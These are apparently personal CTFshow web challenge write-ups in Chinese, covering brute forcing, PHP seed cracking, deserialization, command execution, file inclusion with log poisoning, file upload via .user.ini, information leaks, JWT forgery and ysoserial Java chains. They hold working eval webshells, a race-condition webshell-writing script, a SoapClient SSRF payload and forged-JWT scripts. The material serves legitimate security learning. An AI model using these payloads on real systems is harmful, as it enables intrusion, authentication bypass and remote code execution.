CTFshow
一、爆破
web21(base64编码后爆破)
一.题目

二.wp
1.输入账号admin,密码111111111,抓个包得知发送的数据经过了前端js的base64编码,那么就得对payload进行base64编码来爆破

2.选定payload,狙击手模式

3,选择自定义迭代器模式,payload1输入用户名字典,payload2设置冒号:来当分隔符,payload3设置密码的字典



web23(写php脚本爆破)
源码:

思路:就是找到一个数字token,进行md5加密后满足一系列条件,自己只要将源码修改一下(把条件照抄),自己写个脚本即可。

跑出来后得到token为422

web24(随机数种子)
一.题目

二.解释
mt_rand()函数
mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
使用语法:mt_rand(); or mt_rand(min,max);,生成一个区间内的随机数。
其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由mt_getrandmax()函数获得。
mt_srand()函数
mt_srand() 函数播种 Mersenne Twister 随机数生成器。
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。
在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点,我们先看两个例子。
<?PHP
mt_srand(0);
echo mt_rand();
echo mt_rand();
echo mt_rand();
?>
在上面的代码中,我们把随机数播种为0,每次运行都会获得相同的序列,这就是伪随机:
963932192
1273124119
1535857466
当我们去掉mt_srand()函数时,再次重复运行实例,系统会自动为rand函数播种,但也是播种一次。因此多次重复运行的结果也相同,为:
992978829
928748101
1380702626
三,解题
我只要把在本地设置mt srand(372619038)的种子,在运行mt srand()函数,直接运行一万次,总有一个数是跟题目的随机数相同的,把那一万个数放到bp里面爆破即可
写一个坑: 这里php版本很重要。 事实上这里PHP版本使用不同结果也会不同。 php8.2.9是可以正确拿到的版本。
web25(随机数种子进阶)
一,题目

二.分析
1.如果我输入r=0,则$rand的结果就是第一次随机数,这样我就可以得到第一次的随机数。然后使用php_mt_seed工具进行爆破种子,命令 ./php_mt_seed 第一次随机数的值

2.接着分析,然后我可以传入r=第一次的随机数,进入 if((!$rand))语句,该语句要求我的token值要等于第二次随机数和第三次随机数的和,则可以得到flag
3.编写代码
<?php
mt_srand(3870535924);
mt_rand();
$token = mt_rand()+mt_rand();
echo $token;
?>
我们将上图的所有种子一一放入该代码里面测试,得到第二次和第三次随机数的和,也就是我们想要的token,再讲得到的所有token放进请求包里测试,总有一个是正确的,以此得到flag
总结:本质就是,只要种子相同,那么运行n次得到的n个随机数的情况都是相同的
web27(爆破出生年月)


注意:该处的返回包的flag没事直白的,而是经过编码的。
日期爆破就是这样设置的
web28(目录爆破)

二、反序列化
web258(绕过preg_match)
一,题目

二,解题
本题关键点就是绕过preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
-
/[oc]:\d+:/i:这是一个正则表达式,其中:
[oc]表示匹配字符 "o" 或 "c"。\d+表示匹配一个或多个数字。:表示匹配冒号字符。i是一个修饰符,表示不区分大小写。
这个正则表达式用于匹配像 "o:123" 或 "c:456" 这样的字符串,其中 ":" 后面跟着一个或多个数字
脚本:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public
$class = 'info';
public function __construct(){
$this->class=new backDoor(); //这里需要修改为backDoor(),因为我想让调用backDoor的getinfo()函数
}
}
class info{
public $user='xxxxxx';
}
class backDoor{
public $code="system('ls');";
}
$a=new ctfShowUser();
$b=serialize($a);
$c=str_replace('O:', 'O:+',$b); //只要把O:改为O:+即可,因为+1和1没有任何区别
echo urlencode($c);
web259
前置知识,SoapClient反序列化SSRF
应用场景:代码审计中有反序列化点,但找不到制造不出pop链
1.首先测试正常情况下SoapClient类,调用一个不存在的函数,就会去调用__call方法。
只要新建SoapClient一个对象,再用该对象调用一个不存在的方法,那边监听端口,就可以了
注意:php.ini配置型文件里的extension=php_soap.dll,将其前面的分号去掉
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
运行后的结果如下。通过SoapClient类可以构造数据包,向指定url发送请求


CRLF漏洞
从上图得知,SOAPAction处受我控制,可以把\x0d\x0a注入到SOAPAction,就可以让数据包里的内容进行换行,POST请求的header就可以被我控制
\x0d\x0a 是一个十六进制表示的
\x0d 代表回车符(CR)
\x0a 代表换行符(LF)
2.测试如下代码,插入\r\n
<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();


但是Content-Type在SOAPAction的上面,Content-Type我该怎么控制啊?
嘿嘿,还好User-Agent在Content-Type上面,我可以控制User-Agent,从而不就控制了Content-Type了嘛
User-Agent同样可以注入CRLF,控制Content-Type
3.测试如下代码
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
//代码审计一下,join('^^', $headers):这里使用 join 函数将 $headers 数组中的元素用 ^^ 连接起来。str_replace()将^^都替换成换行符,方便我构造数据包
运行结果

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
一,题目源码
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//收集header头HTTP_X_FORWARDED_FOR,并用explorer将HTTP_X_FORWARDED_FOR以逗号分隔,构成一个数组
array_pop($xff);//返回数组最后一个元素,并删除该元素
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag); //将$flag放进flag.txt中
}
}
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
二,解题
构造payload,得要3个127.0.0.1 ,因为它会砍掉我两个,
Content-Type:application/x-www-form-urlencoded
Content-Length:13 ,因为token=ctfshow的长度为13,剩余的都不要
token=ctfshow
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>
运行上述脚本得到payload
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
传值url?vip=payload, 你一传过去,它反序列化得到SoapClient的对象,然后该对象调用getFlag(),一个不存在的方法,就会触发__call函数,饭后就会发送数据包给/flag.php,经过检测,$flag就被放进flag.txt了,然后你再访问flag.txt,里面就有flag了
web260
一,题目

二,解题
直接get传参ctfshow=ctfshow_i_love_36D就可以了
运行下面这个代码
<?php
$a='ctfshow_i_love_36D';
echo serialize($a);
?>
结果:
s:18:"ctfshow_i_love_36D";
web261(__unserialize魔术变量)
前置知识:
1.__unserialize()的参数:当__serialize()方法存在时,参数为__serialize的返回数组;当__serialize()方法不存在时,参数为实例对象的所有属性值组合而成的数组
2.在 php 7.4 以上版本反序列化时,当__serialize()和__sleep()方法同时存在,序列化时忽略__sleep()方法而执行__serialize();当__unserialize()方法和__wakeup()方法同时存在,反序列化时忽略__wakeup()方法而执行__unserialize()
示例一:
<?php
class ctfshowvip{
public $username="877.php";
public $password="password";
public $code=0x36d;
public function __serialize(): array
{
return [
$this->username,
$this->password
];
}
public function __unserialize(array $data): void
{
print_r($data);
}
}
$vip=new ctfshowvip();
$vip=unserialize(serialize($vip));
?>

示例二:
<?php
class ctfshowvip{
public $username="877.php";
public $password="password";
public $code=0x36d;
/*public function __serialize(): array
{
return [
$this->username,
$this->password
];
}*/
public function __unserialize(array $data): void
{
print_r($data);
}
}
$vip=new ctfshowvip();
$vip=unserialize(serialize($vip));
?>

一,题目
<?php
?>';
}
}
echo serialize(new ctfshowvip());
?>
//O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";s:0:"";}
把vip参数传进去后,__unserialize()函数体的$this->code=877.php ,接着触发__destruct函数时,if弱类型比较就可以达到绕过了。
三、命令执行
web29(绕过flag字符)
一,题目

二,解题
1.c=system("cat fl*g.php | grep -E 'fl.g' "); //将flag.php的内容输出到|,gerp将包含fl.g的那一行显示到命令终端
2.c=system("cp fl*g.php a.txt "); //将flag.php的内容复制到a.txt,访问/a.txt,在查看源代码
3.c=system('echo -e " <?php \n error_reporting(0); \n \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php'); //-e选项使echo能够解释转义字符(如\n表示换行)
在访问url/a.php?c=system("tac flag.php");
4. highlight_file(base64_decode("ZmxhZy5waHA=")); //显示flag.php的内容,ZmxhZy5waHA=为flag.php的base64的编码
5.?c=system('cat fl?g.php'); //用?和*
四、文件包含
web78
一,题目

二,解题
data伪协议(推荐,可以使用ls命令查看flag位置)
?file=data://text/plain,<?php system("ls")?>
?file=data://text/plain,<?php system("tac flag.php")?>
fliter伪协议(不推荐,不知道flag在哪时不好用)
?file=php://filter/convert.base64-encode/resource=flag.php
日志包含(推荐,伟大无需多言)
?file=/var/log/nginx/access.log
<?php eval($_POST[a]); ?>
注意:日志包含
由于访问URL时,服务器会对其进行编码,所以我们通过使用burpsuite抓包来进行来注入

写入一句话木马之后,使用蚁剑尝试连接
连接url即为日志的地址:http://ec78819f-174d-4e26-82be-7cce55c08b05.challenge.ctf.show/?url=/var/log/nginx/access.log

知识点
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。
web79(php字符绕过)
一,题目

二,解释
法一:input协议 大小写绕过
payload:
POST /?file=Php://input HTTP/1.1
<?Php system("ls");?>
法二: data协议 + 利用php性质绕过+base64绕过
payload:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== //<?php phpinfo();
PD9waHAgcGhwaW5mbygpOw== 进行base64解码后<?php phpinfo();
?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> //可以无 ;
注意:<?php ?> :php默认的开始、结束标签 <? ?> :需要开启short_open_tag ,即short_open_tag = On。 <%%> :需要开启asp_tags ,即asp_tags = On。 <?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,需要开启asp_tags ,才可以使用 short_open_tag控制的是<? ?>标签。而并非<?= ?>标签,<?= ?>标签用于输出变量。当开启short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)
法三:file伪协议
1.Windows 系统上可以 file://C:/Windows/System32/drivers/etc/hosts
2.Linux 和 macOS 系统上 file:///etc/passwd
3.使用相对路径 file://./relative/path/to/file.txt
web82(条件竞争)
一,前置知识
1.下面是一个检测文件上传的后端代码,意思就是:你首先上传了一个文件到服务器,我再来检测你是不是php后缀的文件,如果是,那么我在unlink来删除它。
<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀
$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
if(!preg_match('/php/i', $ext)){ #判断后缀是否为php
echo 'upload success,file in '.$path;
}else{
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
}
}else{
die('upload error');
}
2.那么我们是不是可以通过高并发,来上传如下的文件(该文件时写一句话木马到test.php里面),只要我通过高并发,趁你在unlink删除该文件之前,我访问成功了,那么木马就写进test.php里面了
<?php
$content='<?php system($_GET["c"]);?>';
file_put_contents('test.php',$content);
?>
方法二:
import requests
import io
import threading
url='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}
'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''
# /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
}
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php')
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
运行脚本并成功写入后即可访问木马。

五、文件上传
web153(.user.ini)
一 、.user.ini原理:
指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。
auto_append_file在木马文件上传后上传
auto_prepend_file在木马文件上传前上传
二、解题
1.该题前端后端皆有过滤
(1)先上传.user.ini文件,不过得先改成1.png(因为前端有过滤,bp拦截后再改成.user.ini吧)
(2)再上传shell.png(里面内容是一句话木马)
(3)在访问upload/index.php, post传参cmd执行命令。该题的flag要查看源代码才能看到。
为什么是访问index.php呢?因为shell.png是被插入到跟它同级目录upload下面的index.php中

web154(文件内容过滤php)
直接把上题中shell.png里面的内容改为短标签即可
短标签绕过: <?=eval($_POST[1]);?>
web155(内容过滤了php和[])
再上两题的基础上
短标签绕过、[]绕过: <?=eval($_POST{1});?>
web156(过滤php 和[]和;和{})
这种情况彻底上不了马了,那只能命令执行了
shell.png的内容改为
<?=@system("tac ../flag.*")?> //cat,tac,more,nl都可以查看
web156(过滤php 和[]和;和{}和())
php特性,命令执行可以用``(反引号包涵)
<?=`nl ../fl*`?>
web157(日志包含)(空格和``反引号和log过滤掉了)
1.再上面题目的基础上,把shell.png的内容改为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
2.然后访问upload/index ,发现日志已经包含成功

3.接着再访问upload/index.php, 用bp抓包,到数据包的UA头上插入一句话木马即可

4,再用蚁剑连即可
web158(日志包含,文件头绕过)
添加了绕过PHP函数getimagesize()检测文件头,老套路,上传的文件首行都添加GIF的文件头GIF89A
六、信息收集
web1(一键三联,查看网页源代码、抓包、dirmap)
web2(无法看源码)
法一:url前加入view-source: 查看源代码。 view-source:url
法二:不断刷新,不断按F12 以条件竞争的方式,打开源码
法三:直接ctrl+u就能看到源码了,注释里面就是flag。
web3(无思路就抓包)
web4(robots.txt文件)
web5(phps源码泄露)
备份文件:访问index.phps
本题考查的是phps作为备份文件,泄露了源码。
其他常见的有linux的备份文件,比如index.php.swp
还有www.zip等。
可以用的工具有:
1、用dirmap直接扫目录
2、https://github.com/shanyuhe/fzbk
或者使用burp打一波fuzz。
https://github.com/3had0w/Fuzzing-Dicts/blob/master/%E5%B8%B8%E8%A7%81%E7%BD%91%E7%AB%99%E5%A4%87%E4%BB%BD%E6%96%87%E4%BB%B6%E5%AD%97%E5%85%B8%EF%BC%882954%EF%BC%89.txt
注意后缀可以结合当前文件,比如index.php来修改,如果是upload.php则可以改为upload.php.zip等。
web6(源码泄露)(扫目录)
.rar .zip .7z .tar.gz .bak .swp .txt
本题是www.zip 毫无思路时就直接扫目录
web7(git源码泄露)
版本控制工具,常见还有git,svn等源码泄露
访问url/.git,通过信息泄露发现flag,或者用dirmap扫目录
web8(svn源码泄露)
.svn缓存信息泄露,直接访问url/.svn/
web9(vim缓存泄露)
vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn ———————————————— 版权声明:本文为CSDN博主「伤心的小尾巴」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_59950255/article/details/121500183
此题直接访问index.php.swp,用dirmap扫出该文件
web10(cookie中常有flag)
但得到的flag得解码
web11(域名解析)
知识补充: 查询域名解析地址 基本格式:nslookup host [server]
查询域名的指定解析类型的解析记录 基本格式:nslookup -type=type host [server]
查询全部 基本格式:nslookup -query=any host [server]
编辑nslookup -query=any flag.ctfshow.com
正文:根据题目提示‘通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。
查找flag.ctfshow.com域名下的txt记录’可知直接通过阿里云域名解析平台或者终端用命令nslookup都可以找到flag 用阿里云时候记得在高级设置那里调好类型为txt,预期结果为flag即可。
web12(网站上公开信息就是admin的密码)
dirmap发现/admin 后台登录系统 然后根据提示:"有时候网站上的公开信息,就是管理员常用密码" 在页面最下面有密码

账号一般就是admin
web13(网站上有的文档有重要信息)
本题目的是答题者了解到很多的文章有许多的文档,可以在这些文档中发现很多信息,例如文件中有许多的信息泄露的地方,本题在底部的document这个这个文本中记录到有地址和密码。
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
web14(editor造成信息泄露)
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录 根据提示 泄露重要(editor)的信息 直接在url后面添加/editor 然后查看flag路径并且访问 所以我们直接url/editor进去,发现是一个编辑器,选择插入文件,这时候它就会自动打开非本地的文件目录(目录遍历) 按一般思路flag一般都是在var/www/html中的,文件夹里有一个叫nothinghere的,打开它即可发现flag存放处,这个时候我们复制路径nothinghere/fl000g.txt替换掉原来的url后缀回车即可得到flag。
web15(qq邮箱泄露信息)
扫目录发现/admin,忘记密码提示要密保(居住城市在哪),搜索得到的qq号发现是西安
web16(探针未删泄露信息)
探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息 输入默认探针tz.php 打开后点击phpinfo就可以查看到flag
web17(备份的sql文件会泄露敏感信息)
直接搜索靶场路径:python dirsearch.py -u https://c172e072-fe1c-43c9-a95c-4d718878d640.challenge.ctf.show/ 会发现一个backup.sql的文件 加上去访问就可以了,backup.sql是备份的sql文件
web18(查看获修改前端js代码)
看js代码,发现只要score>100即可通关,

将\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b进行unicode解码
web19(查看前端源码发现账号密码)
提交时,得用burp提交,因为得到的密码是经过前端加密的,要是在前端提交,就会再加密以此,会出错
web20(mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。)
用dirmap扫
用dirsearch递归扫,查询语法python dirsearch.py -u http://e9e9bf61-442b-41cf-acd6-cadf3d691fde.challenge.ctf.show/ 可以查询到有个python dirsearch.py -u http://e9e9bf61-442b-41cf-acd6-cadf3d691fde.challenge.ctf.show/db/ 的路径 接着查python dirsearch.py -u http://e9e9bf61-442b-41cf-acd6-cadf3d691fde.challenge.ctf.show/db/ 可以查看到/db/db.mdb
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。 根据提示‘mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag ’ 在url后加入/db/db.mdb然后用notepad++打开搜索flag即可得到答案
七、jwt
前置知识:jwt的原理
一,jwt的结构
1.Header(头部)

2.Payload(有效载荷)

3.Signature(签名)

二,生成过程
1,将header进行base64编码得到第一部分
2,将payload进行base64编码得到第二部分
3,将第一部分和第二部分用 . 进行拼接起来,再用秘钥和header制定的算法进行加密得到第三部分
4.将三个部分用 . 进行拼接得到jwt

web345
一,题目

二,解题
1.抓包得到jwt

2.放到https://jwt.io/里解码

3.把jwt给替换掉,再访问/admin/就行了
web346(修改算法为none,jwt欺骗)
一,题目

二,解题
该题得将payload里的sub改为admin,并且将header里的的算法alg改为none,这样的jwt里面就没有算法签名了,如果目标服务器支持none算法,那么攻击者就可以用伪造的token冒充任意用户登录网站
此题得用python脚本来生成none算法的jwt
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1732690670,
"exp": 1732697870,
"nbf": 1732690670,
"sub": "admin",
"jti": "8b4e22fb1306877464ccc1f64ffcbdfb"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
运行后的结果,一定要记得,去掉签名那部分后,你的最终也要跟个 .
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMjY5MDY3MCwiZXhwIjoxNzMyNjk3ODcwLCJuYmYiOjE3MzI2OTA2NzAsInN1YiI6ImFkbWluIiwianRpIjoiOGI0ZTIyZmIxMzA2ODc3NDY0Y2NjMWY2NGZmY2JkZmIifQ.
web347(秘钥弱口令)
一,题目

二,秘钥的弱口令为123456
放到jwt.io伪造admin即可

web348(秘钥爆破)
一,题目

二,解题
用ubuntu上的工具 c-jwt-cracker-master
命令
./jwtcrack jwt字符串

得到秘钥为aaab,放到jwt.io去篡改即可
web349
一,题目,给出附件源码
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key'); //读取名为private.key的私钥文件。
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' }); //使用私钥和RS256算法创建一个JWT,其中包含用户信息{ user: 'user' }。
res.cookie('auth',token);//将生成的JWT设置为名为auth的cookie
res.end('where is flag?');//结束响应并返回文本"where is flag?"
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth; //从请求的cookie中获取名为auth的JWT。
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); //读取名为public.key的公钥文件。
jwt.verify(auth, cert, function(err, decoded) { //用公钥验解密jwt
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
} //如果JWT验证成功,并且解码后的用户信息中的user字段为'admin',则返回flag的值。
});
});
二,解题
源码的原理是私钥生成jwt,公钥解密jwt
得到访问url/private.key 得到密钥
访问url/public.key 得到公钥
1.构造jwt
方法一:利用python脚本,和私钥,自主生成jwt (因为题目是靠私钥生成jwt的,所以我们用脚本生成jwt也是用私钥
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
2.发包
题目是要我们POST访问/目录,那我们替换上生成的cookie就可以了

web350(密钥混淆攻击 RS256=>HS256)
一,题目
1.下载题目附件,发现有public.key公钥。或者说访问url/public.key也可以后的公钥

2,源码中发现index.js ,发现jwt的生成与验证原理
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' }); //这里是用私钥private.key和RS256算法来生成jwt
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){ //POST访问/目录
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) { //用公钥解密
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});
module.exports = router;
3.本题的思路原理:我没得到私钥啊,我不能直接篡改我的jwt。完蛋! 但是我可以换掉它的算法,RS25256的加密原理是私钥加密,公钥验证;HS256的加密原理:对称加解密,一把钥匙既用于加密,也用于验证。既然这样,我直接改算法为HS256,用他给的公钥来加密生成我想要的jwt,当服务器接受我的cookie时,它识别到这是HS256,然后用RS256的私钥(这也是我自己加密用的公钥),服务器当然可以用这把钥匙和HS256算法解密
import jwt
jwt_payload={
"user": "admin", //修改我admin用户
"iat": 1732026296
}
pub=open("./public.key","rb").read() //把public.key文件放到同级目录下
jwt_headers={
"alg": "HS256", //修改为HS256算法
"typ": "JWT"
}
jwt_token=jwt.encode(jwt_payload,key=pub,algorithm='HS256',headers=jwt_headers,)
print(jwt_token)
4,post访问/目录,换上我的cookie即可得到flag
八、php特性
web89(preg_match&intval)
一,题目

二,解决
preg_match传入数组,如num[0]=1,则返回0;二intval遇到数组,则返回 1
九、java反序列化
web846(URLDNS)
一、题目

二、思路
自己生成一个ysoserial工具生成一个urldns链即可,且要base64编码,题目会接受我的值进行base64解码然后反序列化,反序列化过程中会产生dnslog访问,访问地址是该题的地址
直接拿工具梭哈即可
java -jar ysoserial.jar URLDNS "题目地址"|base64
yslserial的安装(不要直接工现成的jar包,你自己编译一遍的有更多功能,最好按在linux上)
下载项目
git clone https://github.com/wh1t3p1g/ysoserial.git
cd ysoserial
编译项目
mvn clean package -DskipTests
生成 Payload
以下是一个生成 payload 的示例命令:
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/pwned' > payload.bin
这个命令将生成一个包含 touch /tmp/pwned 命令的序列化数据,并将其输出到名为 payload.bin 的文件中。
wsl安装java1.8教程https://houbb.github.io/2024/01/05/windows-install-wsl-02-env-jdk8
idea报错无效的源发行版:https://blog.csdn.net/qq_43362426/article/details/111370493
或者手搓链子也行
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
//这段代码的主要目的是通过反射修改URL对象的hashCode字段值
// ,从而在HashMap中引发潜在的哈希冲突,并将最终的HashMap对象序列化为Base64字符串
public class web846 {
//用于将传入的对象obj序列化为Base64编码的字符串
public static void serialize(Object obj) throws IOException{
//创建一个ByteArrayOutputStream对象data,用于存储序列化后的字节数据
ByteArrayOutputStream data =new ByteArrayOutputStream();
//创建一个ObjectOutputStream对象oos,并将data作为其输出目标。
ObjectOutput oos =new ObjectOutputStream(data);
//调用oos.writeObject(obj),将对象obj序列化到data中。
oos.writeObject(obj);
//调用oos.flush(),确保所有数据都被写入data
oos.flush();
//调用oos.close(),关闭输出流。
oos.close();
//使用Base64.getEncoder().encodeToString(data.toByteArray())将序列化后的字节数组编码为Base64字符串,
// 并打印到控制台
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
//创建了一个URL对象url
URL url=new URL("https://28e72e25-4179-4e4f-a721-fd6c0bdb13ea.challenge.ctf.show/");
//使用url.getClass()获取url对象的类类型,存储到变量c中
Class<?> c=url.getClass();
//使用反射获取URL类中名为hashCode的字段。hashcode字段存储了对象的哈希码值
Field hashcode=c.getDeclaredField("hashCode");
//调用setAccessible(true),允许访问私有字段hashCode。
hashcode.setAccessible(true);
//将url对象的hashCode字段值设置为1。
hashcode.set(url,1);
//创建一个HashMap对象h,用于存储URL对象作为键,Integer作为值的键值对。
HashMap<URL,Integer> h = new HashMap<URL,Integer>();
//将url对象作为键,1作为值,添加到HashMap中。
h.put(url,1);
//将url对象的hashCode字段值修改为-1。这可能导致在HashMap内部的哈希表中,该键的位置发生变化。
hashcode.set(url,-1);
serialize(h);
}
}
web847
1、打开题目,题目环境是java7,cc3.1的库,直接用CC1打就行了

2、先生成反弹shell的命令

ysoserial工具payload,因为题目是cc3.1的库,所以这里CommonsCollections1就行,反弹shell命令记得编码
